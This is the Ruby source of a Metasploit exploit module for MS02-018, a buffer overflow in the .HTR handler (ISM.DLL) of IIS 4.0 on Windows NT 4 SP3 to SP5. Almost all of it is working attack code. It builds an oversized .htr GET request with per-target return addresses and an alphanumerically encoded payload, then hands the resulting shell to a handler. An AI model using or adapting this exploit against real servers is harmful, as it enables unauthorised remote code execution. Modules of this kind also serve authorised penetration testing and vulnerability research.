## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow', 'Description' => %q{ This exploits a buffer overflow in the ISAPI ISM.DLL used to process HTR scripting in IIS 4.0. This module works against Windows NT 4 Service Packs 3, 4, and 5. The server will continue to process requests until the payload being executed has exited. If you've set EXITFUNC to 'seh', the server will continue processing requests, but you will have trouble terminating a bind shell. If you set EXITFUNC to thread, the server will crash upon exit of the bind shell. The payload is alpha-numerically encoded without a NOP sled because otherwise the data gets mangled by the filters. }, 'Author' => [ 'stinko' ], 'License' => BSD_LICENSE, 'References' => [ [ 'CVE', '1999-0874'], [ 'OSVDB', '3325'], [ 'BID', '307'], [ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'], [ 'MSB', 'MS02-018'], ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }], ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }], ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }], ], 'DisclosureDate' => 'Apr 10 2002', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class) end def exploit connect buf = 'X' * target['Rets'][0] buf << [ target['Rets'][1] ].pack('V') buf << payload.encoded req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n" print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1]) sock.put(req) handler disconnect end end